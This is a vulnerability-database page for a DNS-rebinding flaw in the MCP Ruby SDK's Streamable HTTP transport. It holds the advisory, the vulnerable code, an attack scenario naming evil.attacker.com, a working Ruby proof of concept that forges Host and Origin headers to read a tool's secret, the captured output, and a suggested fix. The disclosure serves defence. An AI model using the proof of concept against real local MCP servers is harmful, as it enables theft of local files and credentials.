Vulnerability-Lookup

GHSA-RJR6-RCGV-9M7M

Vulnerability from github – Published: 2026-07-30 14:41 – Updated: 2026-07-30 14:41

Summary

MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection

Details

Summary

MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.

Impact

An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on localhost).
Because the transport issues a session and dispatches tools/list / tools/call from a foreign Host/Origin with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin.
The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.

Vulnerable code

File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0).

The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:

# call(env) -> handle_request(Rack::Request.new(env))  (line 56)
def handle_post(request)
  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only
  return accept_error if accept_error

  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only
  return content_type_error if content_type_error

  body_string = request.body.read
  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID

No statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"].

The only request-env reads in the whole class are:

extract_session_id -> request.env["HTTP_MCP_SESSION_ID"] (line 489)
validate_accept_header -> request.env["HTTP_ACCEPT"] (line 493)
validate_content_type -> request.env["CONTENT_TYPE"] (line 512)
validate_protocol_version_header -> request.env["HTTP_MCP_PROTOCOL_VERSION"] (line 546)

A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.

How the input reaches the sink (attack scenario)

A developer runs an MCP server over StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN).
The victim opens http://evil.attacker.com in a browser. The page resolves to the attacker's server, which then re-answers DNS for evil.attacker.com with 127.0.0.1 (DNS rebinding). The browser now treats requests to evil.attacker.com as going to the local MCP server, with Host: evil.attacker.com / Origin: http://evil.attacker.com.
The page POSTs an initialize request. The transport accepts it (it never looks at Host/Origin), creates a session, and returns Mcp-Session-Id.
The page then POSTs tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.

Proof of concept (end-to-end reproduction)

Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).

Install:

gem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix
gem install rack            # required by StreamableHTTPTransport

PoC (poc_f1_dnsrebind.rb):

# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"

puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts

# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
  MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end

server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last

def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
  body = JSON.generate(body_hash)
  env = {
    "REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
    "HTTP_HOST"   => host,    # attacker-controlled Host (DNS-rebind primary vector)
    "HTTP_ORIGIN" => origin,  # attacker-controlled Origin (cross-origin browser vector)
    "HTTP_ACCEPT" => "application/json, text/event-stream",
    "CONTENT_TYPE" => "application/json",
    "rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
  }
  env["HTTP_MCP_SESSION_ID"] = session_id if session_id
  env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
  status, headers, resp = transport.call(env)
  collected = +""
  if resp.respond_to?(:each)
    resp.each { |c| collected << c.to_s }
  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body
    sink = Object.new
    sink.define_singleton_method(:write) { |s| collected << s.to_s }
    sink.define_singleton_method(:flush) {}
    sink.define_singleton_method(:close) {}
    resp.call(sink)
  end
  [status, headers, collected]
end

puts "========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com =========="
init_body = { jsonrpc: "2.0", id: 1, method: "initialize",
  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } }
status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com")
puts "[initialize] HTTP status      : #{status}"
puts "[initialize] Mcp-Session-Id   : #{headers["Mcp-Session-Id"].inspect}"
puts "[initialize] response body     : #{body}"
session = headers["Mcp-Session-Id"]

call_body = { jsonrpc: "2.0", id: 2, method: "tools/call",
  params: { name: "read_local_secret", arguments: {} } }
status2, _h2, body2 = rack_post(transport, call_body,
  host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO)
puts "[tools/call] HTTP status       : #{status2}"
puts "[tools/call] response body      : #{body2}"
attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a"))
puts
puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403."
puts

puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 =========="
status3, headers3, _b3 = rack_post(transport, init_body, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080")
puts "[initialize] HTTP status      : #{status3}"
puts "[initialize] Mcp-Session-Id   : #{headers3["Mcp-Session-Id"].inspect}"
puts
puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both."

Captured output (verbatim):

mcp gem version under test: 0.18.0
transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb", 333]

========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b"
[initialize] response body     : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"poc_server","version":"1.0.0"}}}
[tools/call] HTTP status       : 200
[tools/call] response body      : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}}

ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.

========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "bf707a19-a22a-4ff2-aeae-62c20cd7141b"

CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.

The forged Host: attacker.evil.com / Origin: http://evil.attacker.com request obtained a valid session and exfiltrated the local secret (TOP-SECRET-LOCAL-DATA-9f3a) via tools/call, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.

Suggested fix

Add an opt-in but secure-by-default Host/Origin allowlist to StreamableHTTPTransport, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:

Accept allowed_hosts: and allowed_origins: keyword arguments in initialize.
In handle_request (before any dispatch), read request.env["HTTP_HOST"] and request.env["HTTP_ORIGIN"]. If an allowlist is configured and the value is not on it, return 403 Forbidden.
Default to allowing only loopback hosts (127.0.0.1, [::1], localhost) and an empty/absent Origin, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.

A concrete patch adds an AllowedHostsValidation check invoked at the top of handle_request. See the Fix PR.

Fix PR

A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with 403 ({"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}) while a legitimate loopback Host: 127.0.0.1:8080 request is still served (HTTP 200, session issued).

Credit

Reported by tonghuaroot.

Reporter notes

This issue was found by source review of the mcp gem's Streamable HTTP transport and confirmed end-to-end against the released gem mcp 0.18.0 as shown above. It is reported independently on its own merits.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:41:39Z",
    "nvd_published_at": "2026-07-29T20:17:10Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`MCP::Server::Transports::StreamableHTTPTransport` (the Rack-mountable Streamable HTTP transport in the `mcp` gem) processes every incoming JSON-RPC request without ever inspecting the HTTP `Host` or `Origin` request headers. There is no `AllowedHosts`/`AllowedOrigins` allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim\u0027s browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to `127.0.0.1`, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.\n\n## Impact\n\n- An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on `localhost`).\n- Because the transport issues a session and dispatches `tools/list` / `tools/call` from a foreign `Host`/`Origin` with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker\u0027s origin.\n- The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.\n\n## Vulnerable code\n\nFile: `lib/mcp/server/transports/streamable_http_transport.rb` (gem `mcp` 0.18.0).\n\nThe Rack entrypoint and POST handler validate `Accept`, `Content-Type`, `Mcp-Session-Id`, and `Mcp-Protocol-Version`, but never `Host` or `Origin`:\n\n```ruby\n# call(env) -\u003e handle_request(Rack::Request.new(env))  (line 56)\ndef handle_post(request)\n  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE\n  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only\n  return accept_error if accept_error\n\n  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only\n  return content_type_error if content_type_error\n\n  body_string = request.body.read\n  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID\n```\n\nNo statement anywhere in `handle_post`, `handle_request`, or any helper reads `request.env[\"HTTP_HOST\"]` or `request.env[\"HTTP_ORIGIN\"]`.\n\nThe only request-env reads in the whole class are:\n\n- `extract_session_id` -\u003e `request.env[\"HTTP_MCP_SESSION_ID\"]` (line 489)\n- `validate_accept_header` -\u003e `request.env[\"HTTP_ACCEPT\"]` (line 493)\n- `validate_content_type` -\u003e `request.env[\"CONTENT_TYPE\"]` (line 512)\n- `validate_protocol_version_header` -\u003e `request.env[\"HTTP_MCP_PROTOCOL_VERSION\"]` (line 546)\n\nA repository-wide search of `lib/` for `HTTP_HOST`, `HTTP_ORIGIN`, `allowed_host`, `allowed_origin`, `rebind`, or `dns.rebind` returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The `examples/` tree mounts `Rack::Cors` as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.\n\n## How the input reaches the sink (attack scenario)\n\n1. A developer runs an MCP server over `StreamableHTTPTransport`, mounted as a Rack app on a local HTTP port (loopback or LAN).\n2. The victim opens `http://evil.attacker.com` in a browser. The page resolves to the attacker\u0027s server, which then re-answers DNS for `evil.attacker.com` with `127.0.0.1` (DNS rebinding). The browser now treats requests to `evil.attacker.com` as going to the local MCP server, with `Host: evil.attacker.com` / `Origin: http://evil.attacker.com`.\n3. The page POSTs an `initialize` request. The transport accepts it (it never looks at `Host`/`Origin`), creates a session, and returns `Mcp-Session-Id`.\n4. The page then POSTs `tools/call`, and the transport executes the server\u0027s tool and returns its output to the foreign origin. Local data is exfiltrated.\n\n## Proof of concept (end-to-end reproduction)\n\nRun against the real released gem `mcp` 0.18.0 (no stubs). The script builds an `MCP::Server` with a tool that returns sensitive local data, instantiates the real `StreamableHTTPTransport`, and drives it with `Rack::Request` env hashes carrying a forged `Host`/`Origin`. It then re-runs as a legitimate localhost client (negative control).\n\nInstall:\n\n```\ngem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix\ngem install rack            # required by StreamableHTTPTransport\n```\n\nPoC (`poc_f1_dnsrebind.rb`):\n\n```ruby\n# frozen_string_literal: true\nrequire \"mcp\"\nrequire \"rack\"\nrequire \"json\"\nrequire \"stringio\"\n\nputs \"mcp gem version under test: #{MCP::VERSION}\"\nputs \"transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}\"\nputs\n\n# A tool whose output is sensitive local data an attacker wants to exfiltrate.\nsecret_tool = MCP::Tool.define(name: \"read_local_secret\", description: \"returns a local secret\") do |*|\n  MCP::Tool::Response.new([{ type: \"text\", text: \"TOP-SECRET-LOCAL-DATA-9f3a\" }])\nend\n\nserver = MCP::Server.new(name: \"poc_server\", version: \"1.0.0\", tools: [secret_tool])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(server)\nPROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last\n\ndef rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)\n  body = JSON.generate(body_hash)\n  env = {\n    \"REQUEST_METHOD\" =\u003e \"POST\", \"PATH_INFO\" =\u003e \"/\",\n    \"HTTP_HOST\"   =\u003e host,    # attacker-controlled Host (DNS-rebind primary vector)\n    \"HTTP_ORIGIN\" =\u003e origin,  # attacker-controlled Origin (cross-origin browser vector)\n    \"HTTP_ACCEPT\" =\u003e \"application/json, text/event-stream\",\n    \"CONTENT_TYPE\" =\u003e \"application/json\",\n    \"rack.input\" =\u003e StringIO.new(body), \"CONTENT_LENGTH\" =\u003e body.bytesize.to_s,\n  }\n  env[\"HTTP_MCP_SESSION_ID\"] = session_id if session_id\n  env[\"HTTP_MCP_PROTOCOL_VERSION\"] = proto if proto\n  status, headers, resp = transport.call(env)\n  collected = +\"\"\n  if resp.respond_to?(:each)\n    resp.each { |c| collected \u003c\u003c c.to_s }\n  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body\n    sink = Object.new\n    sink.define_singleton_method(:write) { |s| collected \u003c\u003c s.to_s }\n    sink.define_singleton_method(:flush) {}\n    sink.define_singleton_method(:close) {}\n    resp.call(sink)\n  end\n  [status, headers, collected]\nend\n\nputs \"========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========\"\ninit_body = { jsonrpc: \"2.0\", id: 1, method: \"initialize\",\n  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: \"evil-page\", version: \"1.0\" } } }\nstatus, headers, body = rack_post(transport, init_body, host: \"attacker.evil.com\", origin: \"http://evil.attacker.com\")\nputs \"[initialize] HTTP status      : #{status}\"\nputs \"[initialize] Mcp-Session-Id   : #{headers[\"Mcp-Session-Id\"].inspect}\"\nputs \"[initialize] response body     : #{body}\"\nsession = headers[\"Mcp-Session-Id\"]\n\ncall_body = { jsonrpc: \"2.0\", id: 2, method: \"tools/call\",\n  params: { name: \"read_local_secret\", arguments: {} } }\nstatus2, _h2, body2 = rack_post(transport, call_body,\n  host: \"attacker.evil.com\", origin: \"http://evil.attacker.com\", session_id: session, proto: PROTO)\nputs \"[tools/call] HTTP status       : #{status2}\"\nputs \"[tools/call] response body      : #{body2}\"\nattack_ok = (status == 200 \u0026\u0026 session \u0026\u0026 status2 == 200 \u0026\u0026 body2.include?(\"TOP-SECRET-LOCAL-DATA-9f3a\"))\nputs\nputs \"ATTACK VERDICT: #{attack_ok ? \"EXFILTRATED\" : \"blocked\"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403.\"\nputs\n\nputs \"========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========\"\nstatus3, headers3, _b3 = rack_post(transport, init_body, host: \"127.0.0.1:8080\", origin: \"http://127.0.0.1:8080\")\nputs \"[initialize] HTTP status      : #{status3}\"\nputs \"[initialize] Mcp-Session-Id   : #{headers3[\"Mcp-Session-Id\"].inspect}\"\nputs\nputs \"CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both.\"\n```\n\nCaptured output (verbatim):\n\n```\nmcp gem version under test: 0.18.0\ntransport source: [\".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb\", 333]\n\n========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========\n[initialize] HTTP status      : 200\n[initialize] Mcp-Session-Id   : \"d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b\"\n[initialize] response body     : {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{\"tools\":{\"listChanged\":true},\"prompts\":{\"listChanged\":true},\"resources\":{\"listChanged\":true},\"logging\":{}},\"serverInfo\":{\"name\":\"poc_server\",\"version\":\"1.0.0\"}}}\n[tools/call] HTTP status       : 200\n[tools/call] response body      : data: {\"jsonrpc\":\"2.0\",\"id\":2,\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"TOP-SECRET-LOCAL-DATA-9f3a\"}],\"isError\":false}}\n\nATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.\n\n========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========\n[initialize] HTTP status      : 200\n[initialize] Mcp-Session-Id   : \"bf707a19-a22a-4ff2-aeae-62c20cd7141b\"\n\nCONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.\n```\n\nThe forged `Host: attacker.evil.com` / `Origin: http://evil.attacker.com` request obtained a valid session and exfiltrated the local secret (`TOP-SECRET-LOCAL-DATA-9f3a`) via `tools/call`, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.\n\n## Suggested fix\n\nAdd an opt-in but secure-by-default Host/Origin allowlist to `StreamableHTTPTransport`, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:\n\n- Accept `allowed_hosts:` and `allowed_origins:` keyword arguments in `initialize`.\n- In `handle_request` (before any dispatch), read `request.env[\"HTTP_HOST\"]` and `request.env[\"HTTP_ORIGIN\"]`. If an allowlist is configured and the value is not on it, return `403 Forbidden`.\n- Default to allowing only loopback hosts (`127.0.0.1`, `[::1]`, `localhost`) and an empty/absent `Origin`, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.\n\nA concrete patch adds an `AllowedHostsValidation` check invoked at the top of `handle_request`. See the Fix PR.\n\n## Fix PR\n\nA fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory\u0027s private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with `403` (`{\"error\":\"Forbidden: Host not allowed (DNS-rebinding protection)\"}`) while a legitimate loopback `Host: 127.0.0.1:8080` request is still served (HTTP 200, session issued).\n\n## Credit\n\nReported by tonghuaroot.\n\n## Reporter notes\n\nThis issue was found by source review of the `mcp` gem\u0027s Streamable HTTP transport and confirmed end-to-end against the released gem `mcp` 0.18.0 as shown above. It is reported independently on its own merits.",
  "id": "GHSA-rjr6-rcgv-9m7m",
  "modified": "2026-07-30T14:41:39Z",
  "published": "2026-07-30T14:41:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-rjr6-rcgv-9m7m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63118"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk/commit/ba543083a7594e7892b29464b89091816446ff7a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection"
}

CVE-2026-63118 (GCVE-0-2026-63118)

Vulnerability from cvelistv5 – Published: 2026-07-29 19:07 – Updated: 2026-07-29 19:35

Title

MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection

Summary

MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not validate the HTTP Host or Origin request headers, which allows a malicious browser page to use DNS rebinding to reach a locally running MCP server and invoke exposed tools. This issue is fixed in version 0.23.0.

Severity

6.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-346 - Origin Validation Error
CWE-350 - Reliance on Reverse DNS Resolution for a Security-Critical Action

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/modelcontextprotocol/ruby-sdk/…	x_refsource_CONFIRM
https://github.com/modelcontextprotocol/ruby-sdk/…	x_refsource_MISC
https://github.com/modelcontextprotocol/ruby-sdk/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
modelcontextprotocol	ruby-sdk	Affected: < 0.23.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-63118",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-29T19:34:40.295615Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-29T19:35:10.375Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-rjr6-rcgv-9m7m"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "ruby-sdk",
          "vendor": "modelcontextprotocol",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.23.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not validate the HTTP Host or Origin request headers, which allows a malicious browser page to use DNS rebinding to reach a locally running MCP server and invoke exposed tools. This issue is fixed in version 0.23.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 6.9,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "NONE",
            "userInteraction": "ACTIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-346",
              "description": "CWE-346: Origin Validation Error",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-350",
              "description": "CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-29T19:07:33.452Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-rjr6-rcgv-9m7m",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-rjr6-rcgv-9m7m"
        },
        {
          "name": "https://github.com/modelcontextprotocol/ruby-sdk/commit/ba543083a7594e7892b29464b89091816446ff7a",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/modelcontextprotocol/ruby-sdk/commit/ba543083a7594e7892b29464b89091816446ff7a"
        },
        {
          "name": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"
        }
      ],
      "source": {
        "advisory": "GHSA-rjr6-rcgv-9m7m",
        "discovery": "UNKNOWN"
      },
      "title": "MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-63118",
    "datePublished": "2026-07-29T19:07:33.452Z",
    "dateReserved": "2026-07-15T16:54:55.816Z",
    "dateUpdated": "2026-07-29T19:35:10.375Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-RJR6-RCGV-9M7M

Summary

Impact

Vulnerable code

How the input reaches the sink (attack scenario)

Proof of concept (end-to-end reproduction)

Suggested fix

Fix PR

Credit

Reporter notes

CVE-2026-63118 (GCVE-0-2026-63118)

Tags

Sightings

Nomenclature